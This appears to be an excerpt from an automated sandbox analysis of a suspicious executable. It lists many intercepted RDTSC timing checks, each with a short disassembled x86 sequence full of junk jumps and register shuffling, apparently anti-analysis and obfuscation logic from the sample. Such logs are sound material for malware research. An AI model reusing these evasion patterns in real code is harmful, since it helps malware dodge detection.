Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 547068A second address: 5470722 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4688C929DCh 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F4688C929DBh 0x0000000f or esi, 7222CF9Eh 0x00000015 jmp 00007F4688C929E9h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e mov ebp, esp 0x00000020 jmp 00007F4688C929DEh 0x00000025 xchg eax, ecx 0x00000026 jmp 00007F4688C929E0h 0x0000002b push eax 0x0000002c pushad 0x0000002d push edx 0x0000002e movzx esi, di 0x00000031 pop edi 0x00000032 push ecx 0x00000033 movsx edi, si 0x00000036 pop esi 0x00000037 popad 0x00000038 xchg eax, ecx 0x00000039 jmp 00007F4688C929DDh 0x0000003e mov eax, dword ptr [76FB65FCh] 0x00000043 pushad 0x00000044 mov cl, 02h 0x00000046 mov ecx, ebx 0x00000048 popad 0x00000049 test eax, eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007F4688C929DEh 0x00000052 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470722 second address: 5470734 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C1B76Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470734 second address: 5470738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470738 second address: 5470776 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F46FA6DE98Ch 0x0000000e jmp 00007F4688C1B777h 0x00000013 mov ecx, eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F4688C1B775h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470776 second address: 54707E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F4688C929E8h 0x00000015 adc ax, 87D8h 0x0000001a jmp 00007F4688C929DBh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F4688C929E8h 0x00000026 sbb al, 00000038h 0x00000029 jmp 00007F4688C929DBh 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54707E4 second address: 5470813 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4688C1B76Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470813 second address: 5470867 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ror eax, cl 0x0000000c jmp 00007F4688C929E5h 0x00000011 leave 0x00000012 jmp 00007F4688C929DEh 0x00000017 retn 0004h 0x0000001a nop 0x0000001b mov esi, eax 0x0000001d lea eax, dword ptr [ebp-08h] 0x00000020 xor esi, dword ptr [001C2014h] 0x00000026 push eax 0x00000027 push eax 0x00000028 push eax 0x00000029 lea eax, dword ptr [ebp-10h] 0x0000002c push eax 0x0000002d call 00007F468DF8324Ch 0x00000032 push FFFFFFFEh 0x00000034 pushad 0x00000035 jmp 00007F4688C929DDh 0x0000003a popad 0x0000003b pop eax 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F4688C929DDh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470867 second address: 5470890 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4688C1B777h 0x00000008 pop esi 0x00000009 mov dh, 73h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e ret 0x0000000f nop 0x00000010 push eax 0x00000011 call 00007F468DF0C017h 0x00000016 mov edi, edi 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470890 second address: 5470894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470894 second address: 5470898 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470898 second address: 547089E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 547089E second address: 54708B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, esi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4688C1B76Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54708B8 second address: 54708E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4688C929DDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54708E7 second address: 54708ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54708ED second address: 54708F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54708F1 second address: 5470920 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B773h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F4688C1B770h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470920 second address: 5470924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5470924 second address: 547092A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 547092A second address: 547094B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4688C929DAh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 547094B second address: 547095A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54201A8 second address: 54201C1 instructions: 0x00000000 rdtsc 0x00000002 mov eax, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4688C929DFh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54201C1 second address: 54201D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ecx 0x00000005 mov al, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov eax, ebx 0x00000012 movsx edi, si 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54201D7 second address: 54201DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54201DD second address: 542020C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4688C1B775h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 542020C second address: 542026B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F4688C929E7h 0x00000009 and esi, 19F0DA2Eh 0x0000000f jmp 00007F4688C929E9h 0x00000014 popfd 0x00000015 call 00007F4688C929E0h 0x0000001a pop eax 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e push ecx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F4688C929DDh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 542026B second address: 542029F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B771h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4688C1B778h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 542029F second address: 54202A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54202A3 second address: 54202A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54202A9 second address: 54202D7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F4688C929DCh 0x00000008 pop ecx 0x00000009 movsx ebx, si 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f test esi, esi 0x00000011 jmp 00007F4688C929DAh 0x00000016 je 00007F46FA7A0D20h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54202D7 second address: 54202DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54202DB second address: 54202E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54202E1 second address: 5420319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B774h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F4688C1B777h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420319 second address: 5420331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C929E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420331 second address: 542039F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F46FA729A4Fh 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F4688C1B774h 0x00000018 adc ecx, 42366918h 0x0000001e jmp 00007F4688C1B76Bh 0x00000023 popfd 0x00000024 push eax 0x00000025 push edx 0x00000026 pushfd 0x00000027 jmp 00007F4688C1B776h 0x0000002c jmp 00007F4688C1B775h 0x00000031 popfd 0x00000032 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 542039F second address: 54203A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54203A3 second address: 54203EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov edx, dword ptr [esi+44h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F4688C1B779h 0x00000013 jmp 00007F4688C1B76Bh 0x00000018 popfd 0x00000019 jmp 00007F4688C1B778h 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54203EF second address: 5420426 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov ecx, ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a or edx, dword ptr [ebp+0Ch] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 movzx eax, bx 0x00000013 pushfd 0x00000014 jmp 00007F4688C929DDh 0x00000019 sbb al, FFFFFF86h 0x0000001c jmp 00007F4688C929E1h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420426 second address: 5420471 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 51h 0x00000005 pushfd 0x00000006 jmp 00007F4688C1B778h 0x0000000b and ch, 00000058h 0x0000000e jmp 00007F4688C1B76Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 test edx, 61000000h 0x0000001d pushad 0x0000001e mov ax, B22Bh 0x00000022 mov bx, cx 0x00000025 popad 0x00000026 jne 00007F46FA729989h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420471 second address: 5420477 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410811 second address: 5410820 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410820 second address: 5410826 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410826 second address: 541082A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 541082A second address: 541082E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 541082E second address: 54108E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F4688C1B777h 0x0000000f and esp, FFFFFFF8h 0x00000012 pushad 0x00000013 mov cx, AA0Bh 0x00000017 pushad 0x00000018 push ecx 0x00000019 pop edx 0x0000001a pushfd 0x0000001b jmp 00007F4688C1B76Ah 0x00000020 jmp 00007F4688C1B775h 0x00000025 popfd 0x00000026 popad 0x00000027 popad 0x00000028 xchg eax, ebx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F4688C1B76Ch 0x00000030 add ecx, 28E3CE78h 0x00000036 jmp 00007F4688C1B76Bh 0x0000003b popfd 0x0000003c popad 0x0000003d push eax 0x0000003e pushad 0x0000003f mov cx, bx 0x00000042 jmp 00007F4688C1B777h 0x00000047 popad 0x00000048 xchg eax, ebx 0x00000049 jmp 00007F4688C1B776h 0x0000004e xchg eax, esi 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F4688C1B76Ah 0x00000058 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54108E2 second address: 54108F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54108F1 second address: 54109A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B779h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F4688C1B771h 0x0000000f xchg eax, esi 0x00000010 jmp 00007F4688C1B76Eh 0x00000015 mov esi, dword ptr [ebp+08h] 0x00000018 pushad 0x00000019 pushad 0x0000001a mov dh, cl 0x0000001c call 00007F4688C1B779h 0x00000021 pop esi 0x00000022 popad 0x00000023 call 00007F4688C1B771h 0x00000028 pop ebx 0x00000029 popad 0x0000002a sub ebx, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f jmp 00007F4688C1B774h 0x00000034 pushfd 0x00000035 jmp 00007F4688C1B772h 0x0000003a add eax, 094E5648h 0x00000040 jmp 00007F4688C1B76Bh 0x00000045 popfd 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 54109A3 second address: 5410A84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b pushad 0x0000000c movzx ecx, bx 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 popad 0x00000014 je 00007F46FA7A8399h 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F4688C929E7h 0x00000021 adc eax, 59B0CE9Eh 0x00000027 jmp 00007F4688C929E9h 0x0000002c popfd 0x0000002d pushfd 0x0000002e jmp 00007F4688C929E0h 0x00000033 adc ecx, 30B2C098h 0x00000039 jmp 00007F4688C929DBh 0x0000003e popfd 0x0000003f popad 0x00000040 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000047 pushad 0x00000048 pushad 0x00000049 pushfd 0x0000004a jmp 00007F4688C929E2h 0x0000004f sbb ax, 6AF8h 0x00000054 jmp 00007F4688C929DBh 0x00000059 popfd 0x0000005a popad 0x0000005b call 00007F4688C929DFh 0x00000060 mov eax, 45CE1B1Fh 0x00000065 pop esi 0x00000066 popad 0x00000067 mov ecx, esi 0x00000069 push eax 0x0000006a push edx 0x0000006b jmp 00007F4688C929DEh 0x00000070 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410A84 second address: 5410A96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C1B76Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410A96 second address: 5410AB0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F46FA7A82DBh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F4688C929DAh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410AB0 second address: 5410AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410AB6 second address: 5410ABA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410ABA second address: 5410B0D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test byte ptr [76FB6968h], 00000002h 0x00000012 pushad 0x00000013 movzx ecx, bx 0x00000016 popad 0x00000017 jne 00007F46FA731043h 0x0000001d jmp 00007F4688C1B772h 0x00000022 mov edx, dword ptr [ebp+0Ch] 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a jmp 00007F4688C1B773h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410B0D second address: 5410B35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx ebx, si 0x00000010 mov di, ax 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410B35 second address: 5410B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410B3B second address: 5410B4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410B4A second address: 5410B50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410B50 second address: 5410B9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F4688C929DCh 0x00000010 sbb cl, FFFFFFC8h 0x00000013 jmp 00007F4688C929DBh 0x00000018 popfd 0x00000019 push eax 0x0000001a push edx 0x0000001b pushfd 0x0000001c jmp 00007F4688C929E6h 0x00000021 xor ah, 00000028h 0x00000024 jmp 00007F4688C929DBh 0x00000029 popfd 0x0000002a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410B9E second address: 5410C4F instructions: 0x00000000 rdtsc 0x00000002 call 00007F4688C1B778h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push edx 0x0000000c pushad 0x0000000d movzx esi, dx 0x00000010 push edx 0x00000011 mov esi, 51A8011Bh 0x00000016 pop ecx 0x00000017 popad 0x00000018 mov dword ptr [esp], ebx 0x0000001b jmp 00007F4688C1B777h 0x00000020 push dword ptr [ebp+14h] 0x00000023 pushad 0x00000024 pushfd 0x00000025 jmp 00007F4688C1B774h 0x0000002a or esi, 01E4FC48h 0x00000030 jmp 00007F4688C1B76Bh 0x00000035 popfd 0x00000036 pushfd 0x00000037 jmp 00007F4688C1B778h 0x0000003c sbb ax, 3EA8h 0x00000041 jmp 00007F4688C1B76Bh 0x00000046 popfd 0x00000047 popad 0x00000048 push dword ptr [ebp+10h] 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e jmp 00007F4688C1B76Bh 0x00000053 mov ax, 408Fh 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410CDA second address: 5410CDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410CDE second address: 5410CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410CE4 second address: 5410D15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esp, ebp 0x0000000b jmp 00007F4688C929E0h 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F4688C929DAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5410D15 second address: 5410D24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420E07 second address: 5420E7C instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebx, esi 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c mov di, A6D2h 0x00000010 jmp 00007F4688C929E3h 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 mov eax, 19CD9A0Bh 0x0000001d jmp 00007F4688C929E0h 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F4688C929DEh 0x0000002c sbb ecx, 077A3348h 0x00000032 jmp 00007F4688C929DBh 0x00000037 popfd 0x00000038 mov dx, si 0x0000003b popad 0x0000003c pop ebp 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F4688C929DCh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420E7C second address: 5420E82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420E82 second address: 5420E87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 5420BBC second address: 5420BE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B776h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4688C1B76Ch 0x00000012 rdtsc
